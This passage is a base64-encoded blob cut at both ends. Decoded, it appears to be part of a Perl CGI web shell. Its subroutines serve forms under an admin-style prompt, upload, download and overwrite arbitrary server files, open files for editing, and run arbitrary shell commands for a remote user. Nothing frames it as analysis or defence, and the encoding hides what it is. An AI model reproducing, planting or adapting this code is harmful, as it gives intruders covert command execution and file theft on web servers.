GZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiIgb25TdWJtaXQ9IkVuY29kZXIoJ2MnKSI+DQoNCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJjb21tYW5kIj4NCg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50RGlyIj4NCiRQcm9tcHQNCjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI0MCIgbmFtZT0iYyIgaWQ9ImMiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCkVORA0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBkb3dubG9hZCBmaWxlcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50RmlsZURvd25sb2FkRm9ybQ0Kew0KCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsNCglteSAkZGlyID0gJkFkZExpbmtEaXIoImRvd25sb2FkIik7IA0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkICI7DQoJcmV0dXJuIDw8RU5EOw0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImRvd25sb2FkIj4NCiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4NCkRvd25sb2FkOiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPg0KDQo8L2Zvcm0+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byB1cGxvYWQgZmlsZXMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludEZpbGVVcGxvYWRGb3JtDQp7DQoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOw0KCW15ICRkaXI9ICZBZGRMaW5rRGlyKCJ1cGxvYWQiKTsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJCAiOw0KCXJldHVybiA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KJFByb21wdCB1cGxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4NCk9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgaWQ9InVwIiB2YWx1ZT0ib3ZlcndyaXRlIj4NCjxsYWJlbCBmb3I9InVwIj5PdmVyd3JpdGUgaWYgaXQgRXhpc3RzPC9sYWJlbD48YnI+PGJyPg0KVXBsb2FkOiZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9InVwbG9hZCI+DQo8L2Zvcm0+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bw0KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzDQojIG5ldmVyIGNhbGxlZCB3aGVuIHRoZSBzY3JpcHQgaXMgcnVubmluZyBvbiBOVC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBDb21tYW5kVGltZW91dA0Kew0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgkJcmV0dXJuIDw8RU5EOw0KPC90ZXh0YXJlYT4NCjxicj48Zm9udCBjb2xvcj15ZWxsb3c+DQpDb21tYW5kIGV4Y2VlZGVkIG1heGltdW0gdGltZSBvZiAkQ29tbWFuZFRpbWVvdXREdXJhdGlvbiBzZWNvbmQocykuPC9mb250Pg0KPGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250Pg0KRU5EDQoJfQ0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcg0KIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gNCiMgZmVhdHVyZSB0aGF0IHN0YXJ0cyB0aGUgZG93bmxvYWQgYXV0b21hdGljYWxseS4NCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UNCnsNCglsb2NhbCgkRmlsZVVybCkgPSBAXzsNCglteSAkcmVzdWx0PSIiOw0KCWlmKC1lICRGaWxlVXJsKSAjIGlmIHRoZSBmaWxlIGV4aXN0cw0KCXsNCgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3Nlcg0KCQkkRmlsZVVybCA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsNCgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkkcmVzdWx0IC49IDw8RU5EOw0KU2VuZGluZyBGaWxlICRUcmFuc2ZlckZpbGUuLi48YnI+DQoNCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LA0KPGEgaHJlZj0iJERvd25sb2FkTGluayI+Q2xpY2sgSGVyZTwvYT4NCkVORA0KCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCX0NCgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0DQoJew0KCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhIjsNCgkJJHJlc3VsdCAuPSAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlDQojIGJyb3dzZXIsIHNvIHRoYXQgaXQgY2FuIGJlIGRvd25sb2FkZWQgYnkgdGhlIHVzZXIuDQojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBzZW50Lg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFNlbmRGaWxlVG9Ccm93c2VyDQp7DQoJbXkgJHJlc3VsdCA9ICIiOw0KCWxvY2FsKCRTZW5kRmlsZSkgPSBAXzsNCglpZihvcGVuKFNFTkRGSUxFLCAkU2VuZEZpbGUpKSAjIGZpbGUgb3BlbmVkIGZvciByZWFkaW5nDQoJew0KCQlpZigkV2luTlQpDQoJCXsNCgkJCWJpbm1vZGUoU0VOREZJTEUpOw0KCQkJYmlubW9kZShTVERPVVQpOw0KCQl9DQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOw0KCQkoJEZpbGVuYW1lID0gJFNlbmRGaWxlKSA9fiAgbSEoW14vXlxcXSopJCE7DQoJCXByaW50ICJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtdW5rbm93blxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7DQoJCXByaW50ICJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0kMVxuXG4iOw0KCQlwcmludCB3aGlsZSg8U0VOREZJTEU+KTsNCgkJY2xvc2UoU0VOREZJTEUpOw0KCQlleGl0KDEpOw0KCX0NCgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQ0KCXsNCgkJJHJlc3VsdCAuPSAiRmFpbGVkIHRvIGRvd25sb2FkICRTZW5kRmlsZTogJCEiOw0KCQkkcmVzdWx0IC49JlByaW50RmlsZURvd25sb2FkRm9ybTsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlDQojIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsgdGhyb3VnaCB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMgVGhpcyBmdW5jdGlvbiBpcyBhbHNvIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGNsaWNrcyBvbiB0aGF0IGxpbmsuIEluIHRoaXMgY2FzZSwNCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCZWdpbkRvd25sb2FkDQp7DQoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOw0KCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwNCgkJKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlDQoJew0KCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7DQoJfQ0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlDQoJew0KCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCQkkVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCX0NCg0KCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlDQoJew0KCQkmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOw0KCX0NCgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQ0KCXsNCgkJJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZS4gSWYgdGhlDQojIGZpbGUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQ0KIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBVcGxvYWRGaWxlDQp7DQoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIHVwbG9hZCBmb3JtIGFnYWluDQoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikNCgl7DQoJCXJldHVybiAmUHJpbnRGaWxlVXBsb2FkRm9ybTsNCg0KCX0NCglteSAkcmVzdWx0PSIiOw0KCSMgc3RhcnQgdGhlIHVwbG9hZGluZyBwcm9jZXNzDQoJJHJlc3VsdCAuPSAiVXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsNCg0KCSMgZ2V0IHRoZSBmdWxsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGNyZWF0ZWQNCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkkVHJhbnNmZXJGaWxlID1+IG0hKFteL15cXF0qKSQhOw0KCSRUYXJnZXROYW1lIC49ICRQYXRoU2VwLiQxOw0KDQoJJFRhcmdldEZpbGVTaXplID0gbGVuZ3RoKCRpbnsnZmlsZWRhdGEnfSk7DQoJIyBpZiB0aGUgZmlsZSBleGlzdHMgYW5kIHdlIGFyZSBub3Qgc3VwcG9zZWQgdG8gb3ZlcndyaXRlIGl0DQoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpDQoJew0KCQkkcmVzdWx0IC49ICJGYWlsZWQ6IERlc3RpbmF0aW9uIGZpbGUgYWxyZWFkeSBleGlzdHMuPGJyPiI7DQoJfQ0KCWVsc2UgIyBmaWxlIGlzIG5vdCBwcmVzZW50DQoJew0KCQlpZihvcGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkNCgkJew0KCQkJYmlubW9kZShVUExPQURGSUxFKSBpZiAkV2luTlQ7DQoJCQlwcmludCBVUExPQURGSUxFICRpbnsnZmlsZWRhdGEnfTsNCgkJCWNsb3NlKFVQTE9BREZJTEUpOw0KCQkJJHJlc3VsdCAuPSAiVHJhbnNmZXJlZCAkVGFyZ2V0RmlsZVNpemUgQnl0ZXMuPGJyPiI7DQoJCQkkcmVzdWx0IC49ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7DQoJCX0NCgkJZWxzZQ0KCQl7DQoJCQkkcmVzdWx0IC49ICJGYWlsZWQ6ICQhPGJyPiI7DQoJCX0NCgl9DQoJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQ0KIyBmaWxlbmFtZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluaw0KIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBEb3dubG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgZG93bmxvYWQgZm9ybSBhZ2Fpbg0KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCXJldHVybiAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCg0KCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwgKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlDQoJew0KCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7DQoJfQ0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlDQoJew0KCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCQkkVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCX0NCg0KCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlDQoJew0KCQlyZXR1cm4gJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsNCgl9DQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UNCgl7DQoJCXJldHVybiAmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlDQojIGNvbW1hbmQgYW5kIGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBhbm90aGVyIGNvbW1hbmQuIFRoZSBjaGFuZ2UgZGlyZWN0b3J5DQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4NCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQ0KIyBvdXRwdXQgb2YgdGhlIGNoYW5nZSBkaXJlY3RvcnkgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkIHRvIHRoZSB1c2Vycw0KIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBFeGVjdXRlQ29tbWFuZA0Kew0KCSRDdXJyZW50RGlyID0gJlRyaW1TbGFzaGVzKCRDdXJyZW50RGlyKTsNCglteSAkcmVzdWx0PSIiOw0KCWlmKCRSdW5Db21tYW5kID1+IG0vXlxzKmNkXHMrKC4rKS8pICMgaXQgaXMgYSBjaGFuZ2UgZGlyIGNvbW1hbmQNCgl7DQoJCSMgd2UgY2hhbmdlIHRoZSBkaXJlY3RvcnkgaW50ZXJuYWxseS4gVGhlIG91dHB1dCBvZiB0aGUNCgkJIyBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQuDQoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgJDEiLiRDbWRTZXAuJENtZFB3ZDsNCgkJY2hvbXAoJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsNCgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCg0KCQkkcmVzdWx0IC49ICJDb21tYW5kOiA8cnVuPiRSdW5Db21tYW5kIDwvcnVuPjxicj48dGV4dGFyZWEgY29scz0nJGNvbHMnIHJvd3M9JyRyb3dzJyBzcGVsbGNoZWNrPSdmYWxzZSc+IjsNCgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQ0KCQkkUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSI7DQoJCSRyZXN1bHQgLj0gJlJ1bkNtZDsNCgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQ0KCXsNCgkJJHJlc3VsdCAuPSAgJlNhdmVGaWxlRm9ybTsNCgl9ZWxzZQ0KCXsNCgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7DQoJCSRyZXN1bHQgLj0mUnVuQ21kOw0KCX0NCgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBydW4gY29tbWFuZA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJ1bkNtZA0Kew0KCW15ICRyZXN1bHQ9IiI7DQoJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiRSdW5Db21tYW5kLiRSZWRpcmVjdG9yOw0KCWlmKCEkV2luTlQpDQoJew0KCQkkU0lHeydBTFJNJ30gPSBcJkNvbW1hbmRUaW1lb3V0Ow0KCQlhbGFybSgkQ29tbWFuZFRpbWVvdXREdXJhdGlvbik7DQoJfQ0KCWlmKCRTaG93RHluYW1pY091dHB1dCkgIyBzaG93IG91dHB1dCBhcyBpdCBpcyBnZW5lcmF0ZWQNCgl7DQoJCSR8PTE7DQoJCSRDb21tYW5kIC49ICIgfCI7DQoJCW9wZW4oQ29tbWFuZE91dHB1dCwgJENvbW1hbmQpOw0KCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pDQoJCXsNCgkJCSRfID1+IHMvKFxufFxyXG4pJC8vOw0KCQkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygiJF9cbiIpOw0KCQl9DQoJCSR8PTA7DQoJfQ0KCWVsc2UgIyBzaG93IG91dHB1dCBhZnRlciBjb21tYW5kIGNvbXBsZXRlcw0KCXsNCgkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygkQ29tbWFuZCk7DQoJfQ0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQojIEZvcm0gU2F2ZSBGaWxlIA0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0Kc3ViIFNhdmVGaWxlRm9ybQ0Kew0KCW15ICRyZXN1bHQgPSIiOw0KCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsNCglzdWJzdHIoJFJ1bkNvbW1hbmQsMCw1KT0iIjsNCglteSAkZmlsZT0mdHJpbSgkUnVuQ29tbWFuZCk7DQoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgPic7DQoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFJ1bkNvbW1hbmQ7DQoJbXkgJGRpcj0iPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJndWkiKS4iPC9zcGFuPiI7DQoJaWYoLXcgJEZpbGUpDQoJew0KCQkkcm93cz0iMjMiDQoJfWVsc2UNCgl7DQoJCSRtc2c9Ijxicj48Zm9udCBzdHlsZT0nY29sb3I6IHllbGxvdzsnID4gQ2Fubid0IHdyaXRlIGZpbGUhPGZvbnQ+PGJyPiI7DQoJCSRyb3dzPSIyMCINCgl9DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nI0ZGRkZGRic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOw0KCSRSdW5Db21tYW5kID0gImVkaXQgJFJ1bkNvbW1hbmQiOw0KCSRyZXN1bHQgLj0gIDw8RU5EOw0KCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KDQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFs